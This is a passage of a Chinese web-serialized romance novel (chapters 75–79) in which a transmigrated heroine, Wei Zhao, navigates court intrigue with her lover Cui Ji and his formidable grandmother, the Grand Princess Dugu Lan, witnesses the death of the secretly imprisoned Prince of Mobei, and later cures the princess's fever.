她表情渐起变化,似笑非笑,却满眼的悲凉。 李戌愣住,脸色大变,“知之妹妹……” “我不欠你的,相反若真论起来,只有你欠我的份,你哪里来的资格让我替你做这做那,就凭小时候的那点情分吗?” 魏昭真的挺生气的。 她是占了原主的身体,所以愿意承担原主的一切,包括情意与责任,但她扪心自问,对于李戌这个人,自己做的已能完全抵消,甚至还有多。 为什么人心不知足,明知她的状况,还想让她去涉险。 真当她是烂好人吗? “我……我……我没想到你会这么想?” “你没想到?”她冷哼一声,“我不信你没想过我若是去帮你打探消息,万一被大长公主察觉,她会怎么处置我?因为我兄长的事,她对我已经很不满,如果我还牵扯四王之乱的旧事,你觉得她还会让我活着吗?” 说到底,还是她太过心软了! “知之妹妹!”他大急,刚欲上前,被她冰冷的眼神骇到。“是我不好,我一时情急,没有考虑太多……” “这是你的事!我是我,你是你,你的事与我无关!”魏昭转过身去,声音很淡,“念在过去的情分上,我们之间的种种一笔勾销,我对你已是仁至义尽,你走吧。” 她本就不是原主,与他没有丝毫情分。 他神情十分的古怪,似难堪,也似羞愧。 半晌,伸了伸手,似是想做些什么,最终还是落了下去。 * 近傍晚时,月婆婆去送饭,回来后说人已经走了。 魏昭“嗯”了一声,继续低头吃饭。 吃到一半时,崔绩来了。 月婆婆赶紧给他盛饭,他自然而然的坐到魏昭身边,那亲近熟稔的样子,仿佛是一对真正的夫妻。 纵无夫妻之名,但他们的的确确有了夫妻之实。 一想到他昨晚吃人的样子,魏昭就想离他远点。 然而躲得过人前,躲不过人后。 两人独处时,先一秒还正常的气氛,陡然像是烧开的水,咕噜咕噜地冒着热气,熏得她脸也红,身也软。 她说起李戌的事,如实相告。 崔绩不等她问,直接道:“他的消息没有错,漠北王确实还活着。我虽不知当年到底发生了什么事,但他没有死成,人被我外祖母给救了。” “你外祖母为何要这么做?” 对于上位者而言,没有道理会强留一个隐患,哪怕是公昭天下的死亡之人,却也难保不会出什么意外。 她这话一出,崔绩看她的目光越发幽深,“他与我外祖母有些纠葛。” 尽管他没有明说,她却明白了。 所以独孤岚救下漠北王,又对世人隐瞒其还活着的消息,并将人一直关押在樊城大牢,是因为与之有私怨。 怨总与爱恨有关,不是爱,便是恨,或是由爱生出来的恨。 一阵沉默,唯有烛火橘黄。 忽然他幽幽地来了一句,“如今想来,她应该也是病了。” 一个也字,让她反应过来,当下回道:“我已经好了。” “我就知道。”他欺身过来,大掌直接扣住她的细腰,“爱恨都易生心病,你得到了我,病自然也就好了。” 这话还真是一语中的。 她之所以能从恶毒女配转而成为女主,中间就差扑到男主这一步。撑死胆大的,饿死胆小的,如果一开始她就这么做了,是不是就不用走那些剧情? 那个可恶的系统,像是耍着她玩似的! 正思忖着,男人的气息极离,“身子可难受?” 她瞬间感觉有一团火,自腰间开始烧,一直烧遍全身,烫得厉害。 书里对于恶毒女配的人设是貌美且蠢,胸大无脑,但她如今是女主,自然是只有貌美没有蠢,胸大又有脑。 她现在终于明白自己被月婆婆调养身体,又跟着风师公习武,将自己的身体养得气血十足是为什么。 身为限制文的女主,还应有一个条件,那就是身体素质要强,否则如何承受天赋异禀的男主没日没夜的圈圈叉叉。 一想到梦里的那些限制级的种种,再感受着男人毫不掩饰的欲与火,她像是软成了一滩水,声线都在发颤,“我明天还要去公主府。” “我知道,今晚你好好歇着。”崔绩的大掌将她一带,与她紧紧相贴,“来日方长,我不会操之过急。” “……” 第76章 * 翌日。 崔绩将人送到公主府门口, 却没有进去。 并非他不想,而是魏昭不愿。 “真的不用我送你进去?”他再三相问。 魏昭望了一眼公主府的门楣,摇头道:“不必。” 有些事适宜别人从中调解, 有些事只能两个人面对面。 府里的人见崔绩过门而不入,仅有她一人独自入府, 皆是纳闷不已。 赵狄的事才过去没多久,又有人被接到府中小住, 她这一出现自然是引人关注。 她被人领着,直接带到独孤岚的住处。 偌大如宫殿的屋子,重檐斗拱雕梁画栋,有着世间顶级的尊荣,是寻常人终其一生都难以企及的人间富贵。 而那背对着她站立的人, 威风赫赫气势惊人。听到动静回过头时, 目光睥睨着, 凌厉中透着压迫感。 她恭敬上前, 行礼请安,一应规矩礼数都没落下。 独孤岚一步步朝她走来, 如同领兵而往,令人不由胆寒。 “你倒是有几分本事, 能让本宫那好外孙对你言听计从, 还亲自将你送来。” 也就是说她一到公主府, 便有人将情况传到这位殿下耳朵里, 或者说她如今的一举一动都在对方的监视下。 从对方话里的怒气与讽刺来看, 她应该已是不能容忍的眼中钉般的存在。事已至此, 刀已悬在她头领,伸头缩头都是一刀,反倒没什么好躲的。 “兄长正好顺路。” “好一个顺路!”独孤岚冷哼一声。 崔绩接连两日宿在魏宅的事, 她不可能不知道,但她与寻常的内宅妇人不同,并不以为这是什么大事,是以也不会揪着这点来说道魏昭。 何况比起魏昭这个外人,她自然是更在意崔绩的意思,“他此举分明是想告诉本宫,你们是一边的,好让本宫掂量一二。” “民女若说兄长没有这个意思,殿下必是不信的,既然如此,那殿下愿意怎么想,便怎么想。” “你好大的胆子,敢这么和本宫说话,就不怕本宫杀了你?” 魏昭在她的威压之下,眼神竟然没有一丝躲闪,“兄长说,殿下为人光明磊落,绝不会无缘无故行杀伐之事。” 她闻言,明显愣了一下。 他们祖孙二人,几乎不会在外人面前提起对方,不管是好的还是坏的,彼此疏离生分到仿佛是毫不相干之人,是以她完全没料到会听到这样的话,且她的外孙对她的评价居然是光明磊落四个字。 也正是这一瞬间的失神,她仿佛不再是高高在上的大长公主,威严尽散时,有了普通人老去时的落寞感。 她厉目紧盯了魏昭好一会儿,才背手转身。 荣嬷嬷适时过来,示意魏昭跟自己出去。 魏昭被安置的客房,对面就是赵狄曾经住过的那间,是门对着门,窗户对着窗的那种,若说是巧合,怕是谁也不信。 客房内一应用物都很齐全,且皆是上乘,桌上的茶水点心也已备好,从茶香上便能判断茶叶的不俗。 从礼节上来看,倒真把她当成府里的客人。 荣嬷嬷离开之前告诉她,除了独孤岚所在的南院,她可以在府里随意走动,还提醒她园子里荷花正艳。 她没有去逛园子,也没有去赏荷花,甚至连房门都没出,但窗户却始终开着,方便有心之人能一眼看到她在做什么。 看书、练字、小憩,一言一行悉数传到独孤岚那里。 “倒是个沉得住气的。” 这是独孤岚在听到汇报后,对她的评语。 “公子能挑中她,想来她定然有可取之处。”荣嬷嬷道。 独孤岚听到这话皱了皱眉,却没有反驳。 半晌,道:“那样的出身,明明有些能力,却知道藏拙,确实是有几分难得,但再是有可取之处,到底是不般配。” “奴婢瞧着,公子对她很是上心,倒是有些难办。” 独孤岚轻哼一声,“他不满本宫久矣,回京之事都未与本宫商议,还将寿昌和沈家那小子送作堆,摆明是想与本宫对着来。本宫倒要看看,若是本宫假意亲近他选中的人,他又该如何?” 说到这里,她停了一下。 尔后,又道:“传本宫的话,让她今晚与本宫一同用膳。” 消息一经传出,很快传遍公主府,议论声不少。 原因无他,只因自从永嘉郡主去世后,府里再未有人与独孤岚一席吃过饭,包括身为公子的崔绩。 魏昭去赴宴的一路,已经感受到无数或是羡慕或是探究的目光。 出乎她的意料,尽管府上的厨子是御厨,但菜色却相对简单清淡,看着像是忌口之人的饮食,其中也有一道五红汤。 她将将坐下,有人来报,说是崔绩回府了。 一刻钟左右的样子,人已到跟前,默默地站在她身后。 原本她还挺自在的,如此一来,竟有几分说不出来的别扭,仿佛乾坤颠倒过来,这不是他的家,而是她的家。 好半天,独孤岚才发话让他一起吃。 他优雅地一掀衣摆,就坐到魏昭的旁边,身体微微往她这边倾着,并主动去盛汤。 她心念微动,用脚尖去碰他的脚,等他压着眉眼看来时,目光朝主位的独孤岚瞟去。他应是明白了,动作稍显僵硬。 当他将盛好的汤放到独孤岚面前时,气氛一时变得十分古怪。 正准备给主子盛汤布菜的荣嬷嬷见状,不知想到什么,悄悄地往后退了一步。 魏昭注意到,独孤岚看着那碗汤的眼神,先是有一丝愕然,紧接着说不出来的复杂,然后是怅然与怀念。 她想,这位高高在上的大长公主殿下应该是想到了自己的女儿。那位永嘉郡主在世时,应该时常陪着自己的母亲的一起用饭,或许也曾像崔绩一样给她盛汤。 爱女之人,绝对不可能是无情之人。 食不言,席间再无话。 一顿饭吃下来,便是一向好胃口的魏昭都觉得有些食不知味。 饭后,崔绩被留下来,她一人先走。 才出门没多久,与一位年长的嬷嬷错身而过时,她闻到浓郁的药味,再看到对方消失在方向,若有所思。 * 门很快被关上,像是隔绝成一方世界。 所有的下人都已屏退,除了荣嬷嬷。 荣嬷嬷静立在一旁,垂首低眉如同一个透明人。 一室的气氛压抑,却比以往的晦沉好上许多,很显然独孤岚的心情应该还不错,那看向崔绩的目光也少了几分寒气。 “本宫瞧着那孩子还算懂事,你既然喜欢,那就抬个贵妾,也算是她的福分。” “她是女户,早就言明要坐家招婿,孙儿也已经想好,日后入赘魏家。”崔绩的声音不高,语气却十分坚定。 独孤岚勃然大怒,“你在说什么?” 她是极其骄傲之人,也有骄傲的资本,便是早年不受宠时,也未有过任何忍让。若不是今日有感,也不会做出让步的决定,但她万万没有想到,自己的退让,谁料竟然无人领情。 蓦地,她怒从心头起。 那锋利的眼神,如同在战场上杀敌,“你这个孽障!你怎么敢如此得寸进尺,真当本宫会一而再的容忍你吗?” 崔绩敛了敛眼皮,遮住眸底的悲凉,“臣知道这些年殿下一直在忍,想来应是极其的辛苦折磨。臣自出生起,就是个孽障,本不该存活。” 他慢慢抬眸,对上独孤岚不掩怒气的目光,“但臣是个活生生的人,既然活在这天地间,便要由着自己的心而活,除非是死了!” 死这个字,让她面色发白。 她并非惧死之人,而是想到了自己的爱女。 由心而活的后果就是死! “你这是在逼本宫!” “殿下又何尝不是在逼臣!”崔绩的声音很低,是隐忍,却也是爆发。 他们对峙着,相互直视的目光如两把兵刃,你来我往皆不后退。 “好,好,好!”独孤岚一连说了三次,大声喝令荣嬷嬷去取自己的鞭子,拿到鞭子后猛地挥向崔绩。 崔绩没躲,任由那鞭子不断地抽打着自己,胜雪的白衣上很快出现一道道的鞭痕,可见点点血迹。 他一动不动,一声也不吭。 不知过了多久,独孤岚将鞭子一收,“滚!” 门一开,光亮与他同在。 他沐浴在光芒中,缓步走下台阶时,似是神子临于凡尘,仿佛世间的万千星光都汇于他一身,轩然飘逸皎皎绝艳。 当他走近后,魏昭这才看到他身上的痕迹,赶紧上前扶他。 斗南和白鹤默默地跟在他们后面,皆是神情凝重。 他们靠得极近,不像是一个扶着另一个,而像是相互搀扶。 “她为什么打你?”魏昭小声问道。 崔绩也不瞒她,将事情一说。 她倒是不生气,“她能说出抬我为贵妾的话,也算是松了口。” 对于现在独孤岚来说,这或许就是最大的让步。 “只是她对你,未免也太狠心了些。” 宫灯照着他们,如同一双双眼睛在关注着他们的动向,一个接着一个地目送着他们,越走越偏静。 她在看到崔绩住处时,脑海中骤然浮现出那个梦境的种种。 如果说之前还是猜测,那么等她进到屋子后,看到那些在梦中出现过的物件,已能肯定梦不只是梦,而是冥冥中的注定。 空旷的房间,入目所及都是白色。 生而丧母,当一生着孝,这是她在梦里听到有人说过的话。 她让崔绩把衣服脱了,然后给他上药。 那些交错的鞭伤,每一道都见了血,可见下手之人的狠辣。 上完药之后,她熟门熟路地打开衣柜,满眼的白衣映入眼帘,她随手取了一件,轻轻地披在他身上。 这般情形之下,若不是碍于他身上的伤,她应该抱一抱他的。 如画的眉眼,墨发散下,微敞的衣襟内可见伤痕,像是破碎的冷玉,竟是另一种不为人知的美感。 她不合时宜地想到某种画面,暗骂自己禽兽,看来让她当限制文的女主,也不是完全没有道理。 为免自己继续胡思乱想,她主动说起自己做的那个梦,一时指着床后的位置,道:“你最喜欢缩在那里。” 一时又指着墙上,“我记得那里应该挂着一把木剑。” 接着笑了一下,“你每回出门,就将我藏在床底下,用一个木箱子挡着,还叮嘱我不要乱跑。” 随着她的叙述,崔绩的表情渐渐发生着变化,似喜似悲,似哭似笑,夜湖般的眸子像是倒映出星光,水汽之下尽是澄清璀璨。 “木剑是我舅舅送给我的……我怕你被人发现,每日都担心着,后来……小猫,我好想你,我好想你!” 他一把将她抱住,如嵌进自己身体中,“原来是你,真好……你回来了。” 第77章 * 这座府邸发生的每一件事, 自然都逃不过独孤岚的掌控。 魏昭几时和崔绩碰的头,他们几时进的屋,又几时出来, 皆被暗处的人记下,第一时间传到她的耳朵里。 她常年不苟言笑的脸严肃依旧, 两颊的法令纹在灯火之下越发的明显,但从表情上来看, 却不见什么怒色。 “这么说,他们共待了近一个半时辰?” 孤男寡女的独处一室,一待就是一个半时辰,依着普通人的思绪,猜都不用猜, 必定是想当然地以为他们做了什么。 她抿着唇, 嘴角压着, 让人看不出情绪。 “公子今日受的伤应该不轻。”荣嬷嬷小声道。 身为她最为信任的心腹, 荣嬷嬷了解她,当然也知道她下手的轻重。她对崔绩的那一顿鞭子, 显然没收什么力道。 她眉头一皱,神情随之一面, 尽显不怒自威的本色。 那禀报的人是个婆子, 想了想, 犹豫道:“公子送魏姑娘出来时, 奴婢瞧着两人似是都哭过, 公子的眼眶都是红的。” “他哭了?” 她下意识问道, 很快察觉自己情绪外露,神情为之一沉,嘴角压得更低。 那个孩子自三岁后就再也没有哭过, 她都不记得他哭起来是什么样子,如今一回想,只有一张清冷疏淡的脸。 荣嬷嬷给那婆子递了一个眼色,对方赶紧退了出去。 等人离开后,道:“或许是瞧错了。” “他那个性子,你几时见他对哪个姑娘亲近过,更别提在别人面前哭。不管是不是故意气本宫,想来应该也有些喜欢,若不然也做不到这个地步。情爱如魔障,着迷时怕是什么都不顾上,他先前说要入赘,或许也并非全是气话。” “那该如何是好?”荣嬷嬷忧心不已,“总不能真依了公子……” 堂堂公主府的公子入赘不说,还是那等门第,传出去岂不成了京中的笑话? 独孤岚慢慢起身,踱步到窗边。 这扇雕刻着祥云纹的大窗朝北,由光亮中往暗处看,所见是一片昏幽,仅能影影绰绰地看到景物的轮廓。 那离得不远的屋子,无灯无人气,仿佛没有住人。 良久,她声音极冷,道:“人心最杂,他不愿,旁人未必不愿。” * 两个人的事,一人不破,那便从另一人下手。 魏昭再次见到她时,是第二天的上午。 她派人相请,请魏昭过来说话。 一应茶水点心,还有水果干果,看着倒真是请人过来喝茶聊天。 魏昭请过安后,在她的示意下落座。 她也不绕弯子,直接了当地表明并不反对他们的事,对魏昭的许诺有二,一是等同如夫人之位的贵妾身份,二是所出子女可以养自己身边。 魏昭静静地听她说完,面上未见喜怒。 她内心隐有一丝欣赏,但很快消失不见。毕竟像她这般生而富贵的人,世间的一切几乎是唾手可得,所见皆远远高于寻常人,自然也鲜少会被什么人或者什么东西打动。 “本宫能答应你,便会信守承诺,将来不管绩儿娶的是谁,必定事先说明情况。”她优雅地吹着茶水热气,说出来的话却是冷极,“绩儿一时糊涂,难免思虑不周,你是个聪明人,当知该如何选择。” 但这样的选择,魏昭不会选。 “民女是个没什么志向的人,从未有过攀附权贵之心,宁愿嫁个寻常人,也不做妾,恐怕要让殿下失望了。” “你分明心悦绩儿,却不肯做他的妾?”她语气一厉,目露嘲讽之色,“你莫不是以为他非你不可,便能掣肘本宫,迫使本宫应允你们的亲事?” 气氛一时降到冰点,茶水都似乎凉了几分。 魏昭眼神不躲闪,看着她,声音很轻,“兄长人品相貌皆出众,放眼京中上下,与之相提并论的世家子没有几个。您与民女说些,是觉得民女配不上他,他足可匹配京中最好的贵女。” 她眯了眯眼,“你既然知道,当知这是本宫最大的让步。” 若从客观条件来说,她所提的条件确实是最大的让步。 “先前民女一直以为殿下对兄长冷淡,如今看来应是不对。您其实是在意兄长的,若不然也不会替他觉得委屈。您为何不与他细说,告之自己的想法,也好过让他误会?” 魏昭的态度让她若有所思,气势一敛,“这么说,你宁可与他无缘,也不肯为妾?” “民女不做妾,这是底线。若是真心之人,必不会委屈民女,若遇犹豫权衡之人,民女也不会委屈自己。这世间情爱固然美好,但比不过堂堂正正的活着。” “你的意思是,他若想和在你一起,一定会与本宫反抗到底?”她轻嗤一声,“倒是个心思深的,以为凭着得了他的些许欢心,便能拿捏本宫,本宫竟不知该夸你,还是该说你不知死活!” 上位者的霸气,以及毫不掩饰的杀气显露无疑,那种高高在上,抬手间便可以决定别人生死的气场,令人不寒而栗。 她紧盯着魏昭的脸,不放过任何的表情变化。 魏昭怕死,做不到真正意义上的波澜不惊,脸色虽然白了些,却不见瑟缩之态,“殿下何等身份,若想要民女的命,比捏死一只蚂蚁还容易。民女斗胆问一句,是否不合您心意者,您都不允许存在吗?” “你是不是知道什么?”她身体明显微微僵硬,目光如锋利的刀子,似是剖心挖肝,看清魏昭的内里。 魏昭感觉自己的手脚已经冰凉,心绷得极紧,像是满弓的弦。 “是殿下想杀民女,民女才会有此一问。” 她自是不信,冷哼一声,“是不是绩儿和你说过一些事?你真当本宫会顾及他,而不会动你?莫说是你,便是他,本宫也不在意!” 这话里的凉薄,哪怕魏昭这个外人听着,都替崔绩难过。 梦里那个渴望亲情,努力想讨自己外祖母欢心的孩子已经长大,或许对于崔绩来说有些事已过去多年。 但对于魏昭而言,却是不久之前的事。 她慢慢地站起来,又低头苦笑,“殿下不在意民女的生死,连自己的亲外孙也不在意,想来最为在意的人应当是自己。” 独孤岚闻言,却是怔了一下,尔后冷冷地道:“本宫在意自己,有何不对?” “当年郡主拼死生下兄长,将兄长托付给您,您却压根不在意,定是由着自己的心,爱便是爱,恨便是恨,最是快意恩仇之人,应该活得十分痛快,那为何还不开心?” “……” 荣嬷嬷见自己的主子被问住,赶紧出声,“你放肆!谁允许你这么和殿下说话?还不快闭嘴坐下!” 魏昭没动,“民女只是替殿下难过,若是您的仇人知晓您这些年来不亲骨肉,满心的怨恨,未有一日欢喜,该是你想何等的高兴,便是死了,也能含笑九泉。” “你怎么敢这么和殿下说话!”荣嬷嬷倒吸一口凉气,忐忑不安地看向自己的主子。 不等独孤岚说什么,魏昭又道,“民女不敢,民女就是想不通,想不通殿下为何要苦了自己,又苦了自己在意的人。” 独孤岚紧盯着她,似恼极怒极,却没有发作。 这时有个嬷嬷在外面晃了一下,荣嬷嬷见状几步出去,听完对方的禀报后面色变了变,赶忙进来凑到自家主子耳边低语一番。 须臾,独孤岚面色大变。 主仆二人匆匆而去,将魏昭晾着。 魏昭见她们出门后没有出院子,反而朝后面走去,心下隐有些许的猜测。她如今是走也不是,不走也不是,只能默默地坐着,静等着她们回来。 思及方才的种种,叹了一口气。 约摸一炷香左右,荣嬷嬷疾步出现,看到她还在,道:“魏姑娘,你随老奴走一趟。” 荣嬷嬷的神情太过严肃,让她不由得心生不安。 她跟着对方,一前一后的出门,绕过正屋,屋后面豁然开朗,像是另一方天地,亭台楼阁小小桥流水。 与正屋一水之隔,是另一间屋子。 还未靠近,便闻到浓重的药味,她暗忖着这里面应是住了一个病得不轻的人。饶是猜到是个病重之人,等看到人后她还是吃了一惊。 那瘦到皮包骨的人,乍见之下如同一具干尸,显然是饱受病痛的折磨,应该已经到了油尽灯枯的地步,但一双眼睛却并没有灰败之色,很是平静地望着面前的人,带着几分柔和。 “你不可能就这么死了,本宫还没有解恨,你还不能死!”独孤岚说着刻薄的话,声音却带着哭意。 “对不起……臣可能真的要走了,没有办法再让殿下解气……” “本宫不想听你说对不起,你难道就没有别的话想和本宫说吗?” 那人轻轻摇头,“对不起……” “凤燊,你混账!” 魏昭听到这个名字,肯定了自己的猜测。 这个人就是漠北王凤燊! “本宫知道当年你没有向父皇求娶,不是你不想,是你父王以死相逼,本宫还知道你那时突然发兵,不是想助燕王,而是你听到本宫遇险的消息 ……这些年本宫一直想听你亲口说,只要你说,本宫的气就消了,你为什么……为什么不说?” 凤燊开口都已艰难,一字一字皆是吃力,“臣若是说了,殿下会更难过……” 有时候内疚比恨更让人痛苦! 魏昭不明白他们之间到底发生了什么,却能明显看得出来,哪怕事到如今,他们心里还有彼此。 独孤岚压抑的情绪终于崩溃,“……本宫不让你死,你就不能死,你这条命是本宫的!” 她猛地转身,看到魏昭后,像是抓到救命的人,“你的医术是你家那个婆子教的吗?江湖术士应该都有些偏方,你过来看看!” 魏昭大概明白她为什么会让自己过来,显然是身边得用的医者束手无策,又因凤燊的身份特殊,不能请太医或者别人的大夫郎中。 然而这么一来,自己知晓如此的隐蔽之事,事后会不会被灭口?只是眼下这般情形,也没有转寰的余地。 魏昭心沉的厉害,在给凤燊把脉时,见对方紧攥着拳,掐得极紧,便知他肯定是疼得厉害,且会一直疼到死。 从他的脉相上,已能探知他这些年所受的折磨,时至今日还能如此隐忍,可见是一个多么心志坚定之人。哪怕她这个陌生人,也为之动容,并佩服至极。 “民女无能。” 独孤岚闻言,拼命摇头,“不可能,他不会死的……” 过了一会儿,似是平静了些,“那依你看,他还有多久?” 魏昭下意识看向一旁的一个嬷嬷,正是那浑身散发着药味之人,应该就是平日里看守凤燊的大夫。 那么在她来之前,独孤岚肯定也问过同样的问题。 她如实道:“最多一两天。” 又想了想,说:“这位前辈的身体已经虚空,五脏六腑都已损坏,多活一刻就疼一刻,最后活活疼死……” “住口!”独孤岚打断她的话,对那嬷嬷道:“你快去煎些止痛的药给他服下。” “不用……”凤燊再次艰难开口,“臣多疼一刻……殿下的气就消一分……不用止痛的药,臣受得住……” 他连眼珠子转动都不易,望向紧闭的窗,目光微亮着,“这个时节……荷花是不是开了?臣记得与殿下初见……宫里的荷花开得正好……” “本宫带你去看!”独孤岚欲扶他,他虚弱摇头,“臣这身子不由人,终不能自如,不如不看……” 他眸中光黯下去,恢复看破生死的那种平静。 魏昭想,她连这样的秘辛都知道,过后还不知有没有命?倘若活不成,死前如能行一善,倒也是不错。 这般想着,她对独孤岚道:“殿下,臣有一药,能让这位前辈站起来自如行走,却有弊端。” “是何弊端?” “此药以折损寿命为代价,能强行提升人的机能。这位前辈的身体已是油尽灯枯,恐怕撑不到药效的两个时辰。” 一两天,还是一两个时辰,这不是一件事,而是命的长短。 独孤岚习惯于握兵器的手在抖,时隔多年再次握住凤燊的手,声线都有些颤,“我们去看荷花。” 第78章 * 花池中的荷叶成片, 亭亭玉立的荷花随风摇曳着,不蔓不枝,纵是招摇都带着与生俱来的傲骨, 哪怕谢了枯了,傲骨却铮铮留存, 一如站在水榭旁的人。 凤燊个子很高,因瘦得厉害, 对于寻常人而言合体的衣服穿在他身上,却显得太过空荡,尤其风拂过时,似顷刻间会被刮走。 他静静地看着眼前的景致,近乎虔诚。 当年老漠北王提前将王位传给他, 他进京受封, 受封之后宫中设宴为其庆贺, 也就是在那一日, 他与独孤岚在御花池旁相遇。 那时他们一个是大周朝最年轻的异姓王,一个是唯一的嫡公主, 门当户对情投意合,说是一天造地设的一对亦不为过。 然而郎有情妾有意, 未必能终成眷属。 凤家掌兵权多年, 功高不震主的原因就是从不掺和皇权之争。世人皆道他与燕王是师兄弟, 必是支持燕王上位, 却不知他们私底下早已达成共识, 仅论兄弟之情。 燕王无意帝位, 身为嫡公主的独孤岚却明显要为自己的胞弟争上一争。正因为如此,老漠北王对他们的事极其反对,甚至是以死相逼。 “这些花是否从宫中移植而来?” “是。”他身边的独孤岚回道。 独孤岚望着眼前这个将死的枯败之人, 仿佛一眨眼的工夫,天地巨变沧海桑田,再也找不到多年前那个意气风发的年轻王爷的影子。 “你不恨本宫?” 她折磨了他这么多年,为什么时至今日,他的目光中还是没有恨? “臣失信殿下,殿下如何对臣,都是臣的报应,臣岂会恨殿下。殿下的为人,臣信得过,那些人离了凤家军,成了萧家军,一样的为国效忠,他们跟着殿下,臣没什么不放心的……” 他干瘦的面皮扯了扯,笑得并不好看,似濒死的青松,拼尽全力焕发出最后的生机。 强心丹的时效是两个时辰,不仅能让人强行提升身体机能,还暂时压制住疼痛,但药性太过霸道,他残败的身体很难负荷。 几乎是在他倒下去的同时,独孤岚一把将他扶住。 他闭上眼睛的最后一句话是,“臣有愧,但不悔。” “凤燊!”独孤岚呼喊着他的名字,抖着的手指已探不到他的气息,瞬间泪如雨下,却无声无息。 她就这样扶着他,像是还在赏着荷花。 良久,喃喃着,“本宫有愧,亦有悔。” * 整个公主府都被禁严,花池周围也清了场,魏昭却被允许留下,与荣嬷嬷等人远远地守候着。 她估摸着时辰,见那水榭中的两人许久未动一下,自是猜到凤燊已经去了。 事情已了,接下来应该就是清算。 趁着无人注意自己,她悄悄地往后退,等彻底脱离其他人的视线时,再快速地离开,直奔自己的住处。 白鹤见她回来,长长松了一口气。 她什么也别说,立马着手铺纸研墨,然后将写好的信交给白鹤,“这个你收好,万一我有什么事,你交给我娘。” “姑娘!”白鹤脸色大变,“到底发生了什么事?你别吓奴婢……” “暂时无事。” 如果有事,那也是说来就来。 “那我们现在就走……”白鹤自然能听出她的话外之音,面色更加难看,当下就要去收拾东西。 “走是走不掉的。”她将人叫住,走到窗前,望向对面的客房。 事到如今,只有等。 等到崔绩下衙回来,她克制的情绪才重新掀起波澜。 暮色已将苍穹笼罩,初亮的灯火与外面尚未完全被黑暗吞噬的光线交融着,一半清明一半浑浊,如这世间,也如人心。 她语气尽量如常,叙述今天发生诸事。 末了,这才说出心中隐忧,“这等事情被我知晓不说,我还参与其中,实在是惶恐。” 崔绩明白她的担心,紧紧搂着她,压低的眉骨下,眸色沉得吓人,“无论是谁想对付你,你只要记着,我都会替你挡着。” 若是挡不住,那就踏过他的尸体! 他没有久留,很快消失在夜色中。 这一夜对于魏昭而言,太过漫长,如同等待一场事关性命的宣判。 她自是睡不安稳,天不亮就醒来,醒来后听到的竟然是独孤岚病倒的消息。 “斗南方才来传的话,说大长公主夜里起的高热,宫里的太医都来了几拨,高热还没有退,大公子一直在那边守着。” 白鹤说完之后,小声嘟哝了一句,“若是大长公主真出了什么事,或许就顾不上姑娘了。” 她闻言,内心阴暗了一下。 如果独孤岚再也醒不过来,那么很多事都会不了了之,她的危机也会随之解除。 这个念头一闪而过,很快被她压下去,私心想着果然人心复杂,一面阳一面阴,此消彼长,自己也不例外。 一天过去,独孤岚的高热还未退。 宫里的太医来了一拨又一拨,等到第三天时,但凡京中有名气的大夫郎中都传唤了一遍,人依旧还发着烧。 近傍晚时分,有人来请魏昭过去。 魏昭赶到后一看,寿昌公主竟然也在,旁边还站着一位贵气的男子。 “四妹妹,这位是太子殿下。” 听到崔绩的介绍,她恭敬地行礼。 太子多看了她两眼,从探究的眼神中能看出,应该是听过有她这号人。她也不意外,毕竟崔绩不是无名小卒,关注的人不少,包括宫里的那些贵人。 “听荣嬷嬷说,你师从江湖术士,知道一些偏方。” 她一听对方这话,便知自己被请来所为哪般,遂道:“嬷嬷谬赞,民女也就学了些许皮毛,当不得大用。” 这些个太医名医的都束手无策,她哪里敢班门弄斧。 “大长公主一直高热不退,父皇很是挂心,命孤与皇妹前来。眼下已过三日,若是这高热还不退,孤怕大长公主……你不怕有负担,尽管放手一试,若能医治大长公主,孤定然重重有赏!” 也就是说,不管她如何自谦医术不精,这浑水不得不趟。 她下意识去看崔绩,崔绩轻声道:“你且去看看,若实在无能为力,也无人怪你。” 太子不掩精光的眼神在他们之间来回打量了一番,什么也没说。 * 一进内室,她就感受到扑面而来的艾草气。 四面门窗紧闭着,不漏一隙之光,铜盆内炭火旺盛,红彤彤的无色无味。镂空莲鱼纹的鎏金铜罩上,铺着浸润艾草汁的棉布。 流珠垂帘雕花大床内,独孤岚身上压着两床锦被,面色红得古怪。 据太医所说,她牙关紧咬,便是强行喂进去的药也不起作用。 魏昭替她把过脉后,道:“民女以为殿下如今之状况,已无法扬汤止沸,不若开窗通风引凉,并用浸过冰水的布巾置于额头腋下,以便快速将体热散退。” “胡闹!”有太医反对,“大长公主应是风邪入体才起的高热,本就见不得风,一旦开窗必定会加重病情,更别说用冰,你是想害死殿下吗?” 这样一顶大帽子扣下来,魏昭自然不敢保证什么,“这位大人莫要动怒,我医术浅显,若你们觉得不妥,权当我没说。” 这时一缕极淡的冷香近来,随之那冰玉相击的声音再起,“既然没有其他的办法能让我外祖母退热,我倒觉得我四妹妹的法子或可一试。” 须臾,修竹玉树临于前。 魏昭看着眼前的人,心念微动。 或许他也是在意的吧。 哪怕冷淡多年,却还是渴望这一份温情。 他是独孤岚的亲外孙,他说要试,其他人自是不会反对。 太子沉吟片刻,也道:“那就按照魏姑娘说的做。” 火盆很快撤走,紧接着大开门窗。 所有人都退到外间,内室仅有魏昭和荣嬷嬷两人。 荣嬷嬷按照魏昭的话,将布巾浸满泡着冰块的冰水中,拧干后分别置于独孤岚的额头颈间腋下,以及大腿内侧和脚底。 每隔半刻钟,重新换一次,如此反复不知多少次,独孤岚的体温明显降了不少,紧咬的牙关也有些许的松动。 魏昭让人煎了一碗药给她服下,再继续冷敷。折腾了近两个时辰,她的高热终于退了,还迷迷糊糊醒来过一回,喝了半碗粥。 接下来她应该还会反复起高热,但已经有法可依,魏昭也可以功成身退。 当魏昭退到外面时,听到有个大夫说:“之前听常去崔府的张大夫提过一个治人噎食的法子,好似也出自魏姑娘,而今魏姑娘又用剑走偏锋的法子救了大长公子,说明有些法子虽偏,却越显医术之高,实在是令人佩服。” 一时之间,无数双目光朝她看来。 “真想不到,你还有这本事。”寿昌公主小声打趣她,态度很是亲近。 “难怪能入你眼,确实不止貌美。”太子这话是对崔绩说的。 崔绩眸色深深,看向魏昭。 哪怕他一个字也没有说,魏昭却从他读懂了他的眼神,有感激,有庆幸,还有坚定的情意。 四目凝望,一切尽在不言中—— 作者有话说:祝大家新年快乐! 第79章 * 过了两天, 独孤岚的身体稳定下来。 公主府的气氛也从之前的沉重,渐渐趋于正常,下人们不再噤若寒蝉, 相互传着话,皆是议论此次的事。 那些话传来传去, 似是都围绕着魏昭。 魏昭听到自己被传得神乎其神,什么在众太医大夫无计可施时挺身而出, 什么千钧一发救下独孤岚的性命。 她几乎不用猜,也知道这些传言背后的推手是谁,且也知道是什么用心,但千般准备,万般谋划, 最难算的是人心。 若是独孤岚不认, 执意要灭口, 自有周全的法子。所以当荣嬷嬷来请她, 她便知道是生是死尽在这一关。 